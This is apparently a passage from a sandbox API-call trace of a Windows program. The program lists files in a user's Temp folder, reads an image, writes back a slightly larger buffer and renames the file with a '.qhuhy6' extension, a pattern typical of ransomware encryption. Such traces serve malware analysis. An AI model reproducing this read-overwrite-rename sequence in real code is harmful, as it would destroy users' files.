ftCreationTime.dwHighDateTime=0x1d8b584, ftLastAccessTime.dwLowDateTime=0x8bc3c560, ftLastAccessTime.dwHighDateTime=0x1d8b71c, ftLastWriteTime.dwLowDateTime=0x8bc3c560, ftLastWriteTime.dwHighDateTime=0x1d8b71c, nFileSizeHigh=0x0, nFileSizeLow=0xe495, dwReserved0=0x0, dwReserved1=0x0, cFileName="kZSG.png", cAlternateFileName="")) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2865d490, ftCreationTime.dwHighDateTime=0x1d8bc99, ftLastAccessTime.dwLowDateTime=0x326b8e40, ftLastAccessTime.dwHighDateTime=0x1d8c017, ftLastWriteTime.dwLowDateTime=0x326b8e40, ftLastWriteTime.dwHighDateTime=0x1d8c017, nFileSizeHigh=0x0, nFileSizeLow=0xf141, dwReserved0=0x0, dwReserved1=0x0, cFileName="LB_0BC98.mkv", cAlternateFileName="")) returned 1 [0146.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc5d5a3f0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc5d5a3f0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc5d5a3f0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0146.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1142aa0, ftCreationTime.dwHighDateTime=0x1d8bd76, ftLastAccessTime.dwLowDateTime=0xa3980850, ftLastAccessTime.dwHighDateTime=0x1d8c0d0, ftLastWriteTime.dwLowDateTime=0xa3980850, ftLastWriteTime.dwHighDateTime=0x1d8c0d0, nFileSizeHigh=0x0, nFileSizeLow=0x695b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mVeQgxryMRkpnA_FU7d.gif", cAlternateFileName="MVEQGX~1.GIF")) returned 1 [0146.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a3bb6a0, ftCreationTime.dwHighDateTime=0x1d8b293, ftLastAccessTime.dwLowDateTime=0x569f2670, ftLastAccessTime.dwHighDateTime=0x1d8bd9f, ftLastWriteTime.dwLowDateTime=0x569f2670, ftLastWriteTime.dwHighDateTime=0x1d8bd9f, nFileSizeHigh=0x0, nFileSizeLow=0x18f63, dwReserved0=0x0, dwReserved1=0x0, cFileName="NsqXQZUn_WyuvS5djs1R.pptx", cAlternateFileName="NSQXQZ~1.PPT")) returned 1 [0146.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83d3d970, ftCreationTime.dwHighDateTime=0x1d8b8da, ftLastAccessTime.dwLowDateTime=0x1cdc9a20, ftLastAccessTime.dwHighDateTime=0x1d8bfa8, ftLastWriteTime.dwLowDateTime=0x1cdc9a20, ftLastWriteTime.dwHighDateTime=0x1d8bfa8, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nYXKcOAjd68vu.swf", cAlternateFileName="NYXKCO~1.SWF")) returned 1 [0146.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xf770f620, ftCreationTime.dwHighDateTime=0x1d0cb97, ftLastAccessTime.dwLowDateTime=0x3d78b2a0, ftLastAccessTime.dwHighDateTime=0x1d0cc4e, ftLastWriteTime.dwLowDateTime=0xf770f620, ftLastWriteTime.dwHighDateTime=0x1d0cb97, nFileSizeHigh=0x0, nFileSizeLow=0x318b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose00000.exe", cAlternateFileName="")) returned 1 [0146.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4174c1f0, ftCreationTime.dwHighDateTime=0x1d8b558, ftLastAccessTime.dwLowDateTime=0xe0014a20, ftLastAccessTime.dwHighDateTime=0x1d8bd94, ftLastWriteTime.dwLowDateTime=0xe0014a20, ftLastWriteTime.dwHighDateTime=0x1d8bd94, nFileSizeHigh=0x0, nFileSizeLow=0x44a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMhLFSYsLNsD.wav", cAlternateFileName="PMHLFS~1.WAV")) returned 1 [0146.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24d69600, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x24d69600, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x50833060, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x8dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q9IATRKPRH-20220803-0521.log", cAlternateFileName="Q9IATR~1.LOG")) returned 1 [0146.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35278330, ftCreationTime.dwHighDateTime=0x1d8bca4, ftLastAccessTime.dwLowDateTime=0xe8b00460, ftLastAccessTime.dwHighDateTime=0x1d8c017, ftLastWriteTime.dwLowDateTime=0xe8b00460, ftLastWriteTime.dwHighDateTime=0x1d8c017, nFileSizeHigh=0x0, nFileSizeLow=0x9a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="QLOH9.m4a", cAlternateFileName="")) returned 1 [0146.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6fd7d9e0, ftCreationTime.dwHighDateTime=0x1d8b514, ftLastAccessTime.dwLowDateTime=0xd1fae820, ftLastAccessTime.dwHighDateTime=0x1d8b5d6, ftLastWriteTime.dwLowDateTime=0xd1fae820, ftLastWriteTime.dwHighDateTime=0x1d8b5d6, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="RDDJCl8j6jBnt16WA.wav", cAlternateFileName="RDDJCL~1.WAV")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa61ed240, ftCreationTime.dwHighDateTime=0x1d8b764, ftLastAccessTime.dwLowDateTime=0xfbbf9a20, ftLastAccessTime.dwHighDateTime=0x1d8b842, ftLastWriteTime.dwLowDateTime=0xfbbf9a20, ftLastWriteTime.dwHighDateTime=0x1d8b842, nFileSizeHigh=0x0, nFileSizeLow=0xf392, dwReserved0=0x0, dwReserved1=0x0, cFileName="rOHaDHD5JF.jpg", cAlternateFileName="ROHADH~1.JPG")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c64a830, ftCreationTime.dwHighDateTime=0x1d8b69f, ftLastAccessTime.dwLowDateTime=0xe7cf9090, ftLastAccessTime.dwHighDateTime=0x1d8b9a2, ftLastWriteTime.dwLowDateTime=0xe7cf9090, ftLastWriteTime.dwHighDateTime=0x1d8b9a2, nFileSizeHigh=0x0, nFileSizeLow=0x26ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="R_fFtR0.mkv", cAlternateFileName="")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad37cb40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xad37cb40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x5a2f7500, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x44f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupExe(20220803052526334).log", cAlternateFileName="SETUPE~1.LOG")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea97cc30, ftCreationTime.dwHighDateTime=0x1d8b1ea, ftLastAccessTime.dwLowDateTime=0x63f3580, ftLastAccessTime.dwHighDateTime=0x1d8b2ff, ftLastWriteTime.dwLowDateTime=0x63f3580, ftLastWriteTime.dwHighDateTime=0x1d8b2ff, nFileSizeHigh=0x0, nFileSizeLow=0x89fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TId-4oIeFgn RUEoVD.csv", cAlternateFileName="TID-4O~1.CSV")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425a4b80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x425a4b80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x425cace0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x28200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp_aSDqwd2.exe", cAlternateFileName="TMP_AS~1.EXE")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48b10fc0, ftCreationTime.dwHighDateTime=0x1d8bab5, ftLastAccessTime.dwLowDateTime=0x44bf650, ftLastAccessTime.dwHighDateTime=0x1d8c00b, ftLastWriteTime.dwLowDateTime=0x44bf650, ftLastWriteTime.dwHighDateTime=0x1d8c00b, nFileSizeHigh=0x0, nFileSizeLow=0x1e75, dwReserved0=0x0, dwReserved1=0x0, cFileName="u6Uw DnxW8.flv", cAlternateFileName="U6UWDN~1.FLV")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef9e8110, ftCreationTime.dwHighDateTime=0x1d8b762, ftLastAccessTime.dwLowDateTime=0x5d02ae60, ftLastAccessTime.dwHighDateTime=0x1d8c0b5, ftLastWriteTime.dwLowDateTime=0x5d02ae60, ftLastWriteTime.dwHighDateTime=0x1d8c0b5, nFileSizeHigh=0x0, nFileSizeLow=0xf5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="UvjfaiBEC8g2bCSi-k.wav", cAlternateFileName="UVJFAI~1.WAV")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24613990, ftCreationTime.dwHighDateTime=0x1d8b404, ftLastAccessTime.dwLowDateTime=0xc7312890, ftLastAccessTime.dwHighDateTime=0x1d8bb13, ftLastWriteTime.dwLowDateTime=0xc7312890, ftLastWriteTime.dwHighDateTime=0x1d8bb13, nFileSizeHigh=0x0, nFileSizeLow=0xfddb, dwReserved0=0x0, dwReserved1=0x0, cFileName="v6-Epkq.m4a", cAlternateFileName="")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd840a2c0, ftCreationTime.dwHighDateTime=0x1d8b887, ftLastAccessTime.dwLowDateTime=0x5eef9d70, ftLastAccessTime.dwHighDateTime=0x1d8bd98, ftLastWriteTime.dwLowDateTime=0x5eef9d70, ftLastWriteTime.dwHighDateTime=0x1d8bd98, nFileSizeHigh=0x0, nFileSizeLow=0x18e11, dwReserved0=0x0, dwReserved1=0x0, cFileName="vdBzKo.wav", cAlternateFileName="")) returned 1 [0146.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x626b9c30, ftCreationTime.dwHighDateTime=0x1d8b210, ftLastAccessTime.dwLowDateTime=0xac9cb950, ftLastAccessTime.dwHighDateTime=0x1d8be46, ftLastWriteTime.dwLowDateTime=0xac9cb950, ftLastWriteTime.dwHighDateTime=0x1d8be46, nFileSizeHigh=0x0, nFileSizeLow=0x13fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vw7AYQyivzJr2M.swf", cAlternateFileName="VW7AYQ~1.SWF")) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79e62820, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0x79e62820, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0x79e62820, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x15ee8060, ftCreationTime.dwHighDateTime=0x1d8bb1c, ftLastAccessTime.dwLowDateTime=0x7a6256e0, ftLastAccessTime.dwHighDateTime=0x1d8bba6, ftLastWriteTime.dwLowDateTime=0x7a6256e0, ftLastWriteTime.dwHighDateTime=0x1d8bba6, nFileSizeHigh=0x0, nFileSizeLow=0x570d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wt8n9H_8CulvrP_ -s7K.mp3", cAlternateFileName="WT8N9H~1.MP3")) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d3ddf40, ftCreationTime.dwHighDateTime=0x1d8bda6, ftLastAccessTime.dwLowDateTime=0x1f316420, ftLastAccessTime.dwHighDateTime=0x1d8bfeb, ftLastWriteTime.dwLowDateTime=0x1f316420, ftLastWriteTime.dwHighDateTime=0x1d8bfeb, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="xJWcWB9t5A.mp3", cAlternateFileName="XJWCWB~1.MP3")) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd77fb20, ftCreationTime.dwHighDateTime=0x1d8b73b, ftLastAccessTime.dwLowDateTime=0xc7be1270, ftLastAccessTime.dwHighDateTime=0x1d8b7f6, ftLastWriteTime.dwLowDateTime=0xc7be1270, ftLastWriteTime.dwHighDateTime=0x1d8b7f6, nFileSizeHigh=0x0, nFileSizeLow=0x11f35, dwReserved0=0x0, dwReserved1=0x0, cFileName="xLap9.odp", cAlternateFileName="")) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x137eb500, ftCreationTime.dwHighDateTime=0x1d8c113, ftLastAccessTime.dwLowDateTime=0xad727e0, ftLastAccessTime.dwHighDateTime=0x1d8c11b, ftLastWriteTime.dwLowDateTime=0xad727e0, ftLastWriteTime.dwHighDateTime=0x1d8c11b, nFileSizeHigh=0x0, nFileSizeLow=0x14e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="y51nWKvbiuGswa-v5p.xls", cAlternateFileName="Y51NWK~1.XLS")) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe0b60b10, ftCreationTime.dwHighDateTime=0x1d8baea, ftLastAccessTime.dwLowDateTime=0xf2938c80, ftLastAccessTime.dwHighDateTime=0x1d8be65, ftLastWriteTime.dwLowDateTime=0xf2938c80, ftLastWriteTime.dwHighDateTime=0x1d8be65, nFileSizeHigh=0x0, nFileSizeLow=0xbd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z-8o4laVNU2.ppt", cAlternateFileName="Z-8O4L~1.PPT")) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52456f90, ftCreationTime.dwHighDateTime=0x1d8b989, ftLastAccessTime.dwLowDateTime=0xce36ae40, ftLastAccessTime.dwHighDateTime=0x1d8ba36, ftLastWriteTime.dwLowDateTime=0xce36ae40, ftLastWriteTime.dwHighDateTime=0x1d8ba36, nFileSizeHigh=0x0, nFileSizeLow=0x8bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="_gxdxZcSTe6yPM.xlsx", cAlternateFileName="_GXDXZ~1.XLS")) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d637410, ftCreationTime.dwHighDateTime=0x1d8b38b, ftLastAccessTime.dwLowDateTime=0xc68e27d0, ftLastAccessTime.dwHighDateTime=0x1d8b910, ftLastWriteTime.dwLowDateTime=0xc68e27d0, ftLastWriteTime.dwHighDateTime=0x1d8b910, nFileSizeHigh=0x0, nFileSizeLow=0x6f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Y0WCAA3QqJK.pdf", cAlternateFileName="_Y0WCA~1.PDF")) returned 1 [0146.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xcd485150, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcd485150, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcd485150, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF12AAC66BC9F3BBD8.TMP", cAlternateFileName="~DF12A~1.TMP")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdbcf4b0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcdbcf4b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcdbf5610, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF1EFEE6A424CE9C2F.TMP", cAlternateFileName="~DF1EF~1.TMP")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xc8832ff0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc8832ff0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc8832ff0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF32B2333AAACF6A8F.TMP", cAlternateFileName="~DF32B~1.TMP")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xc607a0d0, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xc607a0d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc607a0d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF7F49113961E9F5C2.TMP", cAlternateFileName="~DF7F4~1.TMP")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd485150, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcd485150, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcd485150, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFD8C520266130933A.TMP", cAlternateFileName="~DFD8C~1.TMP")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xcdbf5610, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcdbf5610, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcdbf5610, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFFE178FEAD6B19973.TMP", cAlternateFileName="~DFFE1~1.TMP")) returned 1 [0146.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0xcdbf5610, ftCreationTime.dwHighDateTime=0x1d8c12f, ftLastAccessTime.dwLowDateTime=0xcdbf5610, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcdbf5610, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFFE178FEAD6B19973.TMP", cAlternateFileName="~DFFE1~1.TMP")) returned 0 [0146.474] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.474] SetErrorMode (uMode=0x0) returned 0x1 [0146.474] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif", lpFilePart=0x0) returned 0x38 [0146.474] SetErrorMode (uMode=0x1) returned 0x0 [0146.474] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\4n7lnbarz3vqx4.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.475] GetFileType (hFile=0x1d0) returned 0x1 [0146.475] SetErrorMode (uMode=0x0) returned 0x1 [0146.475] GetFileType (hFile=0x1d0) returned 0x1 [0146.475] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x16d37 [0146.476] ReadFile (in: hFile=0x1d0, lpBuffer=0x12c478a8, nNumberOfBytesToRead=0x16d37, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x12c478a8*, lpNumberOfBytesRead=0x21d358*=0x16d37, lpOverlapped=0x0) returned 1 [0146.599] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif", lpFilePart=0x0) returned 0x38 [0146.599] SetErrorMode (uMode=0x1) returned 0x0 [0146.599] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\4n7lnbarz3vqx4.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.602] GetFileType (hFile=0x1d0) returned 0x1 [0146.602] SetErrorMode (uMode=0x0) returned 0x1 [0146.602] GetFileType (hFile=0x1d0) returned 0x1 [0146.602] WriteFile (in: hFile=0x1d0, lpBuffer=0x12805390*, nNumberOfBytesToWrite=0x16d40, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x12805390*, lpNumberOfBytesWritten=0x21d3d8*=0x16d40, lpOverlapped=0x0) returned 1 [0146.605] CloseHandle (hObject=0x1d0) returned 1 [0146.611] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif", lpFilePart=0x0) returned 0x38 [0146.612] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif.qhuhy6", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif.qhuhy6", lpFilePart=0x0) returned 0x3f [0146.612] SetErrorMode (uMode=0x1) returned 0x0 [0146.613] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\4n7lnbarz3vqx4.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x655a18f0, ftCreationTime.dwHighDateTime=0x1d8b697, ftLastAccessTime.dwLowDateTime=0x3b10e3c0, ftLastAccessTime.dwHighDateTime=0x1d8bb75, ftLastWriteTime.dwLowDateTime=0x53deea00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x16d40)) returned 1 [0146.613] SetErrorMode (uMode=0x0) returned 0x1 [0146.614] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\4n7lnbarz3vqx4.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\4n7lNBARZ3VQX4.gif.qhuhy6" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\4n7lnbarz3vqx4.gif.qhuhy6")) returned 1 [0146.615] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg", lpFilePart=0x0) returned 0x38 [0146.615] SetErrorMode (uMode=0x1) returned 0x0 [0146.615] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\avr1uifnhmhljs.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 